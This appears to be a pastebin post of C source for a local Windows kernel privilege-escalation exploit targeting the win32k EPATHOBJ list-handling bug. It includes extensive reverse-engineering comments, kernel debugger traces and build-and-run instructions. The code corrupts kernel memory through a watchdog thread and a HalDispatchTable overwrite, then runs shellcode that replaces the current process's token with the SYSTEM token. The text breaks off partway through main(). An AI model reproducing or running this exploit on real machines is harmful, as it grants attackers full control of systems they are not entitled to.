All Windows PrivEsc [2013] EPATHOBJ Local Ring 0 Exploit


SUBMITTED BY: Guest

DATE: Nov. 25, 2013, 5:23 p.m.

FORMAT: Text only

SIZE: 37.8 kB

HITS: 2224

  1. #ifndef WIN32_NO_STATUS
  2. # define WIN32_NO_STATUS
  3. #endif
  4. #include <stdio.h>
  5. #include <stdarg.h>
  6. #include <stddef.h>
  7. #include <windows.h>
  8. #include <assert.h>
  9. #ifdef WIN32_NO_STATUS
  10. # undef WIN32_NO_STATUS
  11. #endif
  12. #include <ntstatus.h>
  13. #pragma comment(lib, "gdi32")
  14. #pragma comment(lib, "kernel32")
  15. #pragma comment(lib, "user32")
  16. #pragma comment(lib, "shell32")
  17. #pragma comment(linker, "/SECTION:.text,ERW")
  18. #ifndef PAGE_SIZE
  19. # define PAGE_SIZE 0x1000
  20. #endif
  21. #define MAX_POLYPOINTS (8192 * 3)
  22. #define MAX_REGIONS 8192
  23. #define CYCLE_TIMEOUT 10000
  24. //
  25. // --------------------------------------------------
  26. // Windows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit
  27. // ----------------------------------------- taviso () cmpxchg8b com -----
  28. //
  29. // INTRODUCTION
  30. //
  31. // There's a pretty obvious bug in win32k!EPATHOBJ::pprFlattenRec where the
  32. // PATHREC object returned by win32k!EPATHOBJ::newpathrec doesn't initialise the
  33. // next list pointer. The bug is really nice, but exploitation when
  34. // allocations start failing is tricky.
  35. //
  36. // ; BOOL __thiscall EPATHOBJ::newpathrec(EPATHOBJ *this,
  37. // PATHRECORD **pppr,
  38. // ULONG *pcMax,
  39. // ULONG cNeeded)
  40. // .text:BFA122CA mov esi, [ebp+ppr]
  41. // .text:BFA122CD mov eax, [esi+PATHRECORD.pprPrev]
  42. // .text:BFA122D0 push edi
  43. // .text:BFA122D1 mov edi, [ebp+pprNew]
  44. // .text:BFA122D4 mov [edi+PATHRECORD.pprPrev], eax
  45. // .text:BFA122D7 lea eax, [edi+PATHRECORD.count]
  46. // .text:BFA122DA xor edx, edx
  47. // .text:BFA122DC mov [eax], edx
  48. // .text:BFA122DE mov ecx, [esi+PATHRECORD.flags]
  49. // .text:BFA122E1 and ecx, not (PD_BEZIER)
  50. // .text:BFA122E4 mov [edi+PATHRECORD.flags], ecx
  51. // .text:BFA122E7 mov [ebp+pprNewCountPtr], eax
  52. // .text:BFA122EA cmp [edi+PATHRECORD.pprPrev], edx
  53. // .text:BFA122ED jnz short loc_BFA122F7
  54. // .text:BFA122EF mov ecx, [ebx+EPATHOBJ.ppath]
  55. // .text:BFA122F2 mov [ecx+PATHOBJ.pprfirst], edi
  56. //
  57. // It turns out this mostly works because newpathrec() is backed by newpathalloc()
  58. // which uses PALLOCMEM(). PALLOCMEM() will always zero the buffer returned.
  59. //
  60. // ; PVOID __stdcall PALLOCMEM(size_t size, int tag)
  61. // .text:BF9160D7 xor esi, esi
  62. // .text:BF9160DE push esi
  63. // .text:BF9160DF push esi
  64. // .text:BF9160E0 push [ebp+tag]
  65. // .text:BF9160E3 push [ebp+size]
  66. // .text:BF9160E6 call _HeavyAllocPool () 16 ; HeavyAllocPool(x,x,x,x)
  67. // .text:BF9160EB mov esi, eax
  68. // .text:BF9160ED test esi, esi
  69. // .text:BF9160EF jz short loc_BF9160FF
  70. // .text:BF9160F1 push [ebp+size] ; size_t
  71. // .text:BF9160F4 push 0 ; int
  72. // .text:BF9160F6 push esi ; void *
  73. // .text:BF9160F7 call _memset
  74. //
  75. // However, the PATHALLOC allocator includes it's own freelist implementation, and
  76. // if that codepath can satisfy a request the memory isn't zeroed and returned
  77. // directly to the caller. This effectively means that we can add our own objects
  78. // to the PATHRECORD chain.
  79. //
  80. // We can force this behaviour under memory pressure relatively easily, I just
  81. // spam HRGN objects until they start failing. This isn't super reliable, but it's
  82. // good enough for testing.
  83. //
  84. // // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
  85. // // failure. Seriously, do some damn QA Microsoft, wtf.
  86. // for (Size = 1 << 26; Size; Size >>= 1) {
  87. // while (CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
  88. // ;
  89. // }
  90. //
  91. // Adding user controlled blocks to the freelist is a little trickier, but I've
  92. // found that flattening large lists of bezier curves added with PolyDraw() can
  93. // accomplish this reliably. The code to do this is something along the lines of:
  94. //
  95. // for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
  96. // Points[PointNum].x = 0x41414141 >> 4;
  97. // Points[PointNum].y = 0x41414141 >> 4;
  98. // PointTypes[PointNum] = PT_BEZIERTO;
  99. // }
  100. //
  101. // for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {
  102. // BeginPath(Device);
  103. // PolyDraw(Device, Points, PointTypes, PointNum);
  104. // EndPath(Device);
  105. // FlattenPath(Device);
  106. // FlattenPath(Device);
  107. // EndPath(Device);
  108. // }
  109. //
  110. // We can verify this is working by putting a breakpoint after newpathrec, and
  111. // verifying the buffer is filled with recognisable values when it returns:
  112. //
  113. // kd> u win32k!EPATHOBJ::pprFlattenRec+1E
  114. // win32k!EPATHOBJ::pprFlattenRec+0x1e:
  115. // 95c922b8 e8acfbffff call win32k!EPATHOBJ::newpathrec (95c91e69)
  116. // 95c922bd 83f801 cmp eax,1
  117. // 95c922c0 7407 je win32k!EPATHOBJ::pprFlattenRec+0x2f (95c922c9)
  118. // 95c922c2 33c0 xor eax,eax
  119. // 95c922c4 e944020000 jmp win32k!EPATHOBJ::pprFlattenRec+0x273 (95c9250d)
  120. // 95c922c9 56 push esi
  121. // 95c922ca 8b7508 mov esi,dword ptr [ebp+8]
  122. // 95c922cd 8b4604 mov eax,dword ptr [esi+4]
  123. // kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+23 "dd poi(ebp-4) L1; gc"
  124. // kd> g
  125. // fe938fac 41414140
  126. // fe938fac 41414140
  127. // fe938fac 41414140
  128. // fe938fac 41414140
  129. // fe938fac 41414140
  130. //
  131. // The breakpoint dumps the first dword of the returned buffer, which matches the
  132. // bezier points set with PolyDraw(). So convincing pprFlattenRec() to move
  133. // EPATHOBJ->records->head->next->next into userspace is no problem, and we can
  134. // easily break the list traversal in bFlattten():
  135. //
  136. // BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)
  137. // {
  138. // EPATHOBJ *pathobj; // esi () 1
  139. // PATHOBJ *ppath; // eax () 1
  140. // BOOL result; // eax () 2
  141. // PATHRECORD *ppr; // eax () 3
  142. //
  143. // pathobj = this;
  144. // ppath = this->ppath;
  145. // if ( ppath )
  146. // {
  147. // for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
  148. // {
  149. // if ( ppr->flags & PD_BEZIER )
  150. // {
  151. // ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
  152. // if ( !ppr )
  153. // goto LABEL_2;
  154. // }
  155. // }
  156. // pathobj->fl &= 0xFFFFFFFE;
  157. // result = 1;
  158. // }
  159. // else
  160. // {
  161. // LABEL_2:
  162. // result = 0;
  163. // }
  164. // return result;
  165. // }
  166. //
  167. // All we have to do is allocate our own PATHRECORD structure, and then spam
  168. // PolyDraw() with POINTFIX structures containing co-ordinates that are actually
  169. // pointers shifted right by 4 (for this reason the structure must be aligned so
  170. // the bits shifted out are all zero).
  171. //
  172. // We can see this in action by putting a breakpoint in bFlatten when ppr has
  173. // moved into userspace:
  174. //
  175. // kd> u win32k!EPATHOBJ::bFlatten
  176. // win32k!EPATHOBJ::bFlatten:
  177. // 95c92517 8bff mov edi,edi
  178. // 95c92519 56 push esi
  179. // 95c9251a 8bf1 mov esi,ecx
  180. // 95c9251c 8b4608 mov eax,dword ptr [esi+8]
  181. // 95c9251f 85c0 test eax,eax
  182. // 95c92521 7504 jne win32k!EPATHOBJ::bFlatten+0x10 (95c92527)
  183. // 95c92523 33c0 xor eax,eax
  184. // 95c92525 5e pop esi
  185. // kd> u
  186. // win32k!EPATHOBJ::bFlatten+0xf:
  187. // 95c92526 c3 ret
  188. // 95c92527 8b4014 mov eax,dword ptr [eax+14h]
  189. // 95c9252a eb14 jmp win32k!EPATHOBJ::bFlatten+0x29 (95c92540)
  190. // 95c9252c f6400810 test byte ptr [eax+8],10h
  191. // 95c92530 740c je win32k!EPATHOBJ::bFlatten+0x27 (95c9253e)
  192. // 95c92532 50 push eax
  193. // 95c92533 8bce mov ecx,esi
  194. // 95c92535 e860fdffff call win32k!EPATHOBJ::pprFlattenRec (95c9229a)
  195. //
  196. // So at 95c9252c eax is ppr->next, and the routine checks for the PD_BEZIERS
  197. // flags (defined in winddi.h). Let's break if it's in userspace:
  198. //
  199. // kd> ba e 1 95c9252c "j (eax < poi(nt!MmUserProbeAddress)) 'gc'; ''"
  200. // kd> g
  201. // 95c9252c f6400810 test byte ptr [eax+8],10h
  202. // kd> r
  203. // eax=41414140 ebx=95c1017e ecx=97330bec edx=00000001 esi=97330bec edi=0701062d
  204. // eip=95c9252c esp=97330be4 ebp=97330c28 iopl=0 nv up ei pl nz na po nc
  205. // cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202
  206. // win32k!EPATHOBJ::bFlatten+0x15:
  207. // 95c9252c f6400810 test byte ptr [eax+8],10h ds:0023:41414148=??
  208. //
  209. // The question is how to turn that into code execution? It's obviously trivial to
  210. // call prFlattenRec with our userspace PATHRECORD..we can do that by setting
  211. // PD_BEZIER in our userspace PATHRECORD, but the early exit on allocation failure
  212. // poses a problem.
  213. //
  214. // Let me demonstrate calling it with my own PATHRECORD:
  215. //
  216. // // Create our PATHRECORD in userspace we will get added to the EPATHOBJ
  217. // // pathrecord chain.
  218. // PathRecord = VirtualAlloc(NULL,
  219. // sizeof(PATHRECORD),
  220. // MEM_COMMIT | MEM_RESERVE,
  221. // PAGE_EXECUTE_READWRITE);
  222. //
  223. // // Initialise with recognisable debugging values.
  224. // FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);
  225. //
  226. // PathRecord->next = (PVOID)(0x41414141);
  227. // PathRecord->prev = (PVOID)(0x42424242);
  228. //
  229. // // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
  230. // // EPATHOBJ::bFlatten(), do that here.
  231. // PathRecord->flags = PD_BEZIERS;
  232. //
  233. // // Generate a large number of Bezier Curves made up of pointers to our
  234. // // PATHRECORD object.
  235. // for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
  236. // Points[PointNum].x = (ULONG)(PathRecord) >> 4;
  237. // Points[PointNum].y = (ULONG)(PathRecord) >> 4;
  238. // PointTypes[PointNum] = PT_BEZIERTO;
  239. // }
  240. //
  241. // kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+28 "j (dwo(ebp+8) < dwo(nt!MmUserProbeAddress)) ''; 'gc'"
  242. // kd> g
  243. // win32k!EPATHOBJ::pprFlattenRec+0x28:
  244. // 95c922c2 33c0 xor eax,eax
  245. // kd> dd ebp+8 L1
  246. // a3633be0 00130000
  247. //
  248. // The ppr object is in userspace! If we peek at it:
  249. //
  250. // kd> dd poi(ebp+8)
  251. // 00130000 41414141 42424242 00000010 cccccccc
  252. // 00130010 00000000 00000000 00000000 00000000
  253. // 00130020 00000000 00000000 00000000 00000000
  254. // 00130030 00000000 00000000 00000000 00000000
  255. // 00130040 00000000 00000000 00000000 00000000
  256. // 00130050 00000000 00000000 00000000 00000000
  257. // 00130060 00000000 00000000 00000000 00000000
  258. // 00130070 00000000 00000000 00000000 00000000
  259. //
  260. // There's the next and prev pointer.
  261. //
  262. // kd> kvn
  263. // # ChildEBP RetAddr Args to Child
  264. // 00 a3633bd8 95c9253a 00130000 002bfea0 95c101ce win32k!EPATHOBJ::pprFlattenRec+0x28 (FPO: [Non-Fpo])
  265. // 01 a3633be4 95c101ce 00000001 00000294 fe763360 win32k!EPATHOBJ::bFlatten+0x23 (FPO: [0,0,4])
  266. // 02 a3633c28 829ab173 0701062d 002bfea8 7721a364 win32k!NtGdiFlattenPath+0x50 (FPO: [Non-Fpo])
  267. // 03 a3633c28 7721a364 0701062d 002bfea8 7721a364 nt!KiFastCallEntry+0x163 (FPO: [0,3] TrapFrame @ a3633c34)
  268. //
  269. // The question is how to get PATHALLOC() to succeed under memory pressure so we
  270. // can make this exploitable? I'm quite proud of this list cycle trick,
  271. // here's how to turn it into an arbitrary write.
  272. //
  273. // First, we create a watchdog thread that will patch the list atomically
  274. // when we're ready. This is needed because we can't exploit the bug while
  275. // HeavyAllocPool is failing, because of the early exit in pprFlattenRec:
  276. //
  277. // .text:BFA122B8 call newpathrec ; EPATHOBJ::newpathrec(_PATHRECORD * *,ulong *,ulong)
  278. // .text:BFA122BD cmp eax, 1 ; Check for failure
  279. // .text:BFA122C0 jz short continue
  280. // .text:BFA122C2 xor eax, eax ; Exit early
  281. // .text:BFA122C4 jmp early_exit
  282. //
  283. // So we create a list node like this:
  284. //
  285. // PathRecord->Next = PathRecord;
  286. // PathRecord->Flags = 0;
  287. //
  288. // Then EPATHOBJ::bFlatten() spins forever doing nothing:
  289. //
  290. // BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)
  291. // {
  292. // /* ... */
  293. //
  294. // for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
  295. // {
  296. // if ( ppr->flags & PD_BEZIER )
  297. // {
  298. // ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
  299. // }
  300. // }
  301. //
  302. // /* ... */
  303. // }
  304. //
  305. // While it's spinning, we clean up in another thread, then patch the thread (we
  306. // can do this, because it's now in userspace) to trigger the exploit. The first
  307. // block of pprFlattenRec does something like this:
  308. //
  309. // if ( pprNew->pprPrev )
  310. // pprNew->pprPrev->pprnext = pprNew;
  311. //
  312. // Let's make that write to 0xCCCCCCCC.
  313. //
  314. // DWORD WINAPI WatchdogThread(LPVOID Parameter)
  315. // {
  316. //
  317. // // This routine waits for a mutex object to timeout, then patches the
  318. // // compromised linked list to point to an exploit. We need to do this.
  319. // LogMessage(L_INFO, "Watchdog thread %u waiting on Mutex () %p",
  320. // GetCurrentThreadId(),
  321. // Mutex);
  322. //
  323. // if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {
  324. // // It looks like the main thread is stuck in a call to FlattenPath(),
  325. // // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean
  326. // // up, and then patch the list to trigger our exploit.
  327. // while (NumRegion--)
  328. // DeleteObject(Regions[NumRegion]);
  329. //
  330. // LogMessage(L_ERROR, "InterlockedExchange(%p, %p);", &PathRecord->next, &ExploitRecord);
  331. //
  332. // InterlockedExchangePointer(&PathRecord->next, &ExploitRecord);
  333. //
  334. // } else {
  335. // LogMessage(L_ERROR, "Mutex object did not timeout, list not patched");
  336. // }
  337. //
  338. // return 0;
  339. // }
  340. //
  341. // PathRecord->next = PathRecord;
  342. // PathRecord->prev = (PVOID)(0x42424242);
  343. // PathRecord->flags = 0;
  344. //
  345. // ExploitRecord.next = NULL;
  346. // ExploitRecord.prev = 0xCCCCCCCC;
  347. // ExploitRecord.flags = PD_BEZIERS;
  348. //
  349. // Here's the output on Windows 8:
  350. //
  351. // kd> g
  352. // *******************************************************************************
  353. // * *
  354. // * Bugcheck Analysis *
  355. // * *
  356. // *******************************************************************************
  357. //
  358. // Use !analyze -v to get detailed debugging information.
  359. //
  360. // BugCheck 50, {cccccccc, 1, 8f18972e, 2}
  361. // *** WARNING: Unable to verify checksum for ComplexPath.exe
  362. // *** ERROR: Module load completed but symbols could not be loaded for ComplexPath.exe
  363. // Probably caused by : win32k.sys ( win32k!EPATHOBJ::pprFlattenRec+82 )
  364. //
  365. // Followup: MachineOwner
  366. // ---------
  367. //
  368. // nt!RtlpBreakWithStatusInstruction:
  369. // 810f46f4 cc int 3
  370. // kd> kv
  371. // ChildEBP RetAddr Args to Child
  372. // a03ab494 8111c87d 00000003 c17b60e1 cccccccc nt!RtlpBreakWithStatusInstruction (FPO: [1,0,0])
  373. // a03ab4e4 8111c119 00000003 817d5340 a03ab8e4 nt!KiBugCheckDebugBreak+0x1c (FPO: [Non-Fpo])
  374. // a03ab8b8 810f30ba 00000050 cccccccc 00000001 nt!KeBugCheck2+0x655 (FPO: [6,239,4])
  375. // a03ab8dc 810f2ff1 00000050 cccccccc 00000001 nt!KiBugCheck2+0xc6
  376. // a03ab8fc 811a2816 00000050 cccccccc 00000001 nt!KeBugCheckEx+0x19
  377. // a03ab94c 810896cf 00000001 cccccccc a03aba2c nt! ?? ::FNODOBFM::`string'+0x31868
  378. // a03aba14 8116c4e4 00000001 cccccccc 00000000 nt!MmAccessFault+0x42d (FPO: [4,37,4])
  379. // a03aba14 8f18972e 00000001 cccccccc 00000000 nt!KiTrap0E+0xdc (FPO: [0,0] TrapFrame @ a03aba2c)
  380. // a03abbac 8f103c28 0124eba0 a03abbd8 8f248f79 win32k!EPATHOBJ::pprFlattenRec+0x82 (FPO: [Non-Fpo])
  381. // a03abbb8 8f248f79 1c010779 0016fd04 8f248f18 win32k!EPATHOBJ::bFlatten+0x1f (FPO: [0,1,0])
  382. // a03abc08 8116918c 1c010779 0016fd18 776d7174 win32k!NtGdiFlattenPath+0x61 (FPO: [1,15,4])
  383. // a03abc08 776d7174 1c010779 0016fd18 776d7174 nt!KiFastCallEntry+0x12c (FPO: [0,3] TrapFrame @ a03abc14)
  384. // 0016fcf4 76b1552b 0124147f 1c010779 00000040 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
  385. // 0016fcf8 0124147f 1c010779 00000040 00000000 GDI32!NtGdiFlattenPath+0xa (FPO: [1,0,0])
  386. // WARNING: Stack unwind information not available. Following frames may be wrong.
  387. // 0016fd18 01241ade 00000001 00202b50 00202ec8 ComplexPath+0x147f
  388. // 0016fd60 76ee1866 7f0de000 0016fdb0 77716911 ComplexPath+0x1ade
  389. // 0016fd6c 77716911 7f0de000 bc1d7832 00000000 KERNEL32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
  390. // 0016fdb0 777168bd ffffffff 7778560a 00000000 ntdll!__RtlUserThreadStart+0x4a (FPO: [SEH])
  391. // 0016fdc0 00000000 01241b5b 7f0de000 00000000 ntdll!_RtlUserThreadStart+0x1c (FPO: [Non-Fpo])
  392. // kd> .trap a03aba2c
  393. // ErrCode = 00000002
  394. // eax=cccccccc ebx=80206014 ecx=80206008 edx=85ae1224 esi=0124eba0 edi=a03abbd8
  395. // eip=8f18972e esp=a03abaa0 ebp=a03abbac iopl=0 nv up ei ng nz na pe nc
  396. // cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010286
  397. // win32k!EPATHOBJ::pprFlattenRec+0x82:
  398. // 8f18972e 8918 mov dword ptr [eax],ebx ds:0023:cccccccc=????????
  399. // kd> vertarget
  400. // Windows 8 Kernel Version 9200 MP (1 procs) Free x86 compatible
  401. // Product: WinNt, suite: TerminalServer SingleUserTS
  402. // Built by: 9200.16581.x86fre.win8_gdr.130410-1505
  403. // Machine Name:
  404. // Kernel base = 0x81010000 PsLoadedModuleList = 0x811fde48
  405. // Debug session time: Mon May 20 14:17:20.259 2013 (UTC - 7:00)
  406. // System Uptime: 0 days 0:02:30.432
  407. // kd> .bugcheck
  408. // Bugcheck code 00000050
  409. // Arguments cccccccc 00000001 8f18972e 00000002
  410. //
  411. // EXPLOITATION
  412. //
  413. // We're somewhat limited with what we can do, as we don't control what's
  414. // written, it's always a pointer to a PATHRECORD object. We can clobber a
  415. // function pointer, but the problem is making it point somewhere useful.
  416. //
  417. // The solution is to make the Next pointer a valid sequence of instructions,
  418. // which jumps to our second stage payload. We have to do that in just 4 bytes
  419. // (unless you can find a better call site, let me know if you spot one).
  420. //
  421. // Thanks to progmboy for coming up with the solution: you reach back up the
  422. // stack and pull a SystemCall parameter out of the stack. It turns out
  423. // NtQueryIntervalProfile matches this requirement perfectly.
  424. //
  425. // INSTRUCTIONS
  426. //
  427. // C:\> cl ComplexPath.c
  428. // C:\> ComplexPath
  429. //
  430. // You might need to run it several times before we get the allocation we need,
  431. // it won't crash if it doesn't work, so you can keep trying. I'm not sure how
  432. // to improve that.
  433. //
  434. // CREDIT
  435. //
  436. // Tavis Ormandy <taviso () cmpxchg8b com>
  437. // progmboy <programmeboy () gmail com>
  438. //
  439. POINT Points[MAX_POLYPOINTS];
  440. BYTE PointTypes[MAX_POLYPOINTS];
  441. HRGN Regions[MAX_REGIONS];
  442. ULONG NumRegion = 0;
  443. HANDLE Mutex;
  444. DWORD Finished = 0;
  445. // Log levels.
  446. typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;
  447. BOOL LogMessage(LEVEL Level, PCHAR Format, ...);
  448. // Copied from winddi.h from the DDK
  449. #define PD_BEGINSUBPATH 0x00000001
  450. #define PD_ENDSUBPATH 0x00000002
  451. #define PD_RESETSTYLE 0x00000004
  452. #define PD_CLOSEFIGURE 0x00000008
  453. #define PD_BEZIERS 0x00000010
  454. typedef struct _POINTFIX
  455. {
  456. ULONG x;
  457. ULONG y;
  458. } POINTFIX, *PPOINTFIX;
  459. // Approximated from reverse engineering.
  460. typedef struct _PATHRECORD {
  461. struct _PATHRECORD *next;
  462. struct _PATHRECORD *prev;
  463. ULONG flags;
  464. ULONG count;
  465. POINTFIX points[4];
  466. } PATHRECORD, *PPATHRECORD;
  467. PPATHRECORD PathRecord;
  468. PATHRECORD ExploitRecord;
  469. PPATHRECORD ExploitRecordExit;
  470. enum { SystemModuleInformation = 11 };
  471. enum { ProfileTotalIssues = 2 };
  472. typedef struct _RTL_PROCESS_MODULE_INFORMATION {
  473. HANDLE Section;
  474. PVOID MappedBase;
  475. PVOID ImageBase;
  476. ULONG ImageSize;
  477. ULONG Flags;
  478. USHORT LoadOrderIndex;
  479. USHORT InitOrderIndex;
  480. USHORT LoadCount;
  481. USHORT OffsetToFileName;
  482. UCHAR FullPathName[256];
  483. } RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
  484. typedef struct _RTL_PROCESS_MODULES {
  485. ULONG NumberOfModules;
  486. RTL_PROCESS_MODULE_INFORMATION Modules[1];
  487. } RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
  488. FARPROC NtQuerySystemInformation;
  489. FARPROC NtQueryIntervalProfile;
  490. FARPROC PsReferencePrimaryToken;
  491. FARPROC PsLookupProcessByProcessId;
  492. PULONG HalDispatchTable;
  493. ULONG HalQuerySystemInformation;
  494. PULONG TargetPid;
  495. PVOID *PsInitialSystemProcess;
  496. // Search the specified data structure for a member with CurrentValue.
  497. BOOL FindAndReplaceMember(PDWORD Structure,
  498. DWORD CurrentValue,
  499. DWORD NewValue,
  500. DWORD MaxSize)
  501. {
  502. DWORD i, Mask;
  503. // Microsoft QWORD aligns object pointers, then uses the lower three
  504. // bits for quick reference counting.
  505. Mask = ~7;
  506. // Mask out the reference count.
  507. CurrentValue &= Mask;
  508. // Scan the structure for any occurrence of CurrentValue.
  509. for (i = 0; i < MaxSize; i++) {
  510. if ((Structure[i] & Mask) == CurrentValue) {
  511. // And finally, replace it with NewValue.
  512. Structure[i] = NewValue;
  513. return TRUE;
  514. }
  515. }
  516. // Member not found.
  517. return FALSE;
  518. }
  519. // This routine is injected into nt!HalDispatchTable by EPATHOBJ::pprFlattenRec.
  520. ULONG __stdcall ShellCode(DWORD Arg1, DWORD Arg2, DWORD Arg3, DWORD Arg4)
  521. {
  522. PVOID TargetProcess;
  523. // Record that the exploit completed.
  524. Finished = 1;
  525. // Fix the corrupted HalDispatchTable,
  526. HalDispatchTable[1] = HalQuerySystemInformation;
  527. // Find the EPROCESS structure for the process I want to escalate
  528. if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) {
  529. PACCESS_TOKEN SystemToken;
  530. PACCESS_TOKEN TargetToken;
  531. // Find the Token object for my target process, and the SYSTEM process.
  532. TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess);
  533. SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess);
  534. // Find the token in the target process, and replace with the system token.
  535. FindAndReplaceMember((PDWORD) TargetProcess,
  536. (DWORD) TargetToken,
  537. (DWORD) SystemToken,
  538. 0x200);
  539. }
  540. return 0;
  541. }
  542. DWORD WINAPI WatchdogThread(LPVOID Parameter)
  543. {
  544. // Here we wait for the main thread to get stuck inside FlattenPath().
  545. WaitForSingleObject(Mutex, CYCLE_TIMEOUT);
  546. // It looks like we've taken control of the list, and the main thread
  547. // is spinning in EPATHOBJ::bFlatten. We can't continue because
  548. // EPATHOBJ::pprFlattenRec exit's immediately if newpathrec() fails.
  549. // So first, we clean up and make sure it can allocate memory.
  550. while (NumRegion) DeleteObject(Regions[--NumRegion]);
  551. // Now we switch out the Next pointer for our exploit record. As soon
  552. // as this completes, the main thread will stop spinning and continue
  553. // into EPATHOBJ::pprFlattenRec.
  554. InterlockedExchangePointer(&PathRecord->next,
  555. &ExploitRecord);
  556. return 0;
  557. }
  558. // I use this routine to generate a table of acceptable stub addresses. The
  559. // 0x40 offset is the location of the PULONG parameter to
  560. // nt!NtQueryIntervalProfile. Credit to progmboy for coming up with this clever
  561. // trick.
  562. VOID __declspec(naked) HalDispatchRedirect(VOID)
  563. {
  564. __asm inc eax
  565. __asm jmp dword ptr [ebp+0x40]; // 0
  566. __asm inc ecx
  567. __asm jmp dword ptr [ebp+0x40]; // 1
  568. __asm inc edx
  569. __asm jmp dword ptr [ebp+0x40]; // 2
  570. __asm inc ebx
  571. __asm jmp dword ptr [ebp+0x40]; // 3
  572. __asm inc esi
  573. __asm jmp dword ptr [ebp+0x40]; // 4
  574. __asm inc edi
  575. __asm jmp dword ptr [ebp+0x40]; // 5
  576. __asm dec eax
  577. __asm jmp dword ptr [ebp+0x40]; // 6
  578. __asm dec ecx
  579. __asm jmp dword ptr [ebp+0x40]; // 7
  580. __asm dec edx
  581. __asm jmp dword ptr [ebp+0x40]; // 8
  582. __asm dec ebx
  583. __asm jmp dword ptr [ebp+0x40]; // 9
  584. __asm dec esi
  585. __asm jmp dword ptr [ebp+0x40]; // 10
  586. __asm dec edi
  587. __asm jmp dword ptr [ebp+0x40]; // 11
  588. // Mark end of table.
  589. __asm {
  590. _emit 0
  591. _emit 0
  592. _emit 0
  593. _emit 0
  594. }
  595. }
  596. int main(int argc, char **argv)
  597. {
  598. HANDLE Thread;
  599. HDC Device;
  600. ULONG Size;
  601. ULONG PointNum;
  602. HMODULE KernelHandle;
  603. PULONG DispatchRedirect;
  604. PULONG Interval;
  605. ULONG SavedInterval;
  606. RTL_PROCESS_MODULES ModuleInfo;
  607. LogMessage(L_INFO, "\r--------------------------------------------------\n"
  608. "\rWindows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit\n"
  609. "\r------------------- taviso () cmpxchg8b com, programmeboy () gmail com ---\n"
  610. "\n");
  611. NtQueryIntervalProfile = GetProcAddress(GetModuleHandle("ntdll"), "NtQueryIntervalProfile");
  612. NtQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll"), "NtQuerySystemInformation");
  613. Mutex = CreateMutex(NULL, FALSE, NULL);
  614. DispatchRedirect = (PVOID) HalDispatchRedirect;
  615. Interval = (PULONG) ShellCode;
  616. SavedInterval = Interval[0];
  617. TargetPid = GetCurrentProcessId();
  618. LogMessage(L_INFO, "NtQueryIntervalProfile () %p", NtQueryIntervalProfile);
  619. LogMessage(L_INFO, "NtQuerySystemInformation () %p", NtQuerySystemInformation);
  620. // Lookup the address of system modules.
  621. NtQuerySystemInformation(SystemModuleInformation,
  622. &ModuleInfo,
  623. sizeof ModuleInfo,
  624. NULL);
  625. LogMessage(L_DEBUG, "NtQuerySystemInformation() => %s () %p",
  626. ModuleInfo.Modules[0].FullPathName,
  627. ModuleInfo.Modules[0].ImageBase);
  628. // Lookup some system routines we require.
  629. KernelHandle = LoadLibrary(ModuleInfo.Modules[0].FullPathName + ModuleInfo.Modules[0].OffsetToFileName);
  630. HalDispatchTable = (ULONG) GetProcAddress(KernelHandle, "HalDispatchTable") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
  631. PsInitialSystemProcess = (ULONG) GetProcAddress(KernelHandle, "PsInitialSystemProcess") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
  632. PsReferencePrimaryToken = (ULONG) GetProcAddress(KernelHandle, "PsReferencePrimaryToken") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
  633. PsLookupProcessByProcessId = (ULONG) GetProcAddress(KernelHandle, "PsLookupProcessByProcessId") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
  634. // Search for a ret instruction to install in the damaged HalDispatchTable.
  635. HalQuerySystemInformation = (ULONG) memchr(KernelHandle, 0xC3, ModuleInfo.Modules[0].ImageSize)
  636. - (ULONG) KernelHandle
  637. + (ULONG) ModuleInfo.Modules[0].ImageBase;
  638. LogMessage(L_INFO, "Discovered a ret instruction at %p", HalQuerySystemInformation);
  639. // Create our PATHRECORD in user space we will get added to the EPATHOBJ
  640. // pathrecord chain.
  641. PathRecord = VirtualAlloc(NULL,
  642. sizeof *PathRecord,
  643. MEM_COMMIT | MEM_RESERVE,
  644. PAGE_EXECUTE_READWRITE);
  645. LogMessage(L_INFO, "Allocated userspace PATHRECORD () %p", PathRecord);
  646. // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
  647. // EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite
  648. // loop in EPATHOBJ::bFlatten().
  649. PathRecord->flags = 0;
  650. PathRecord->next = PathRecord;
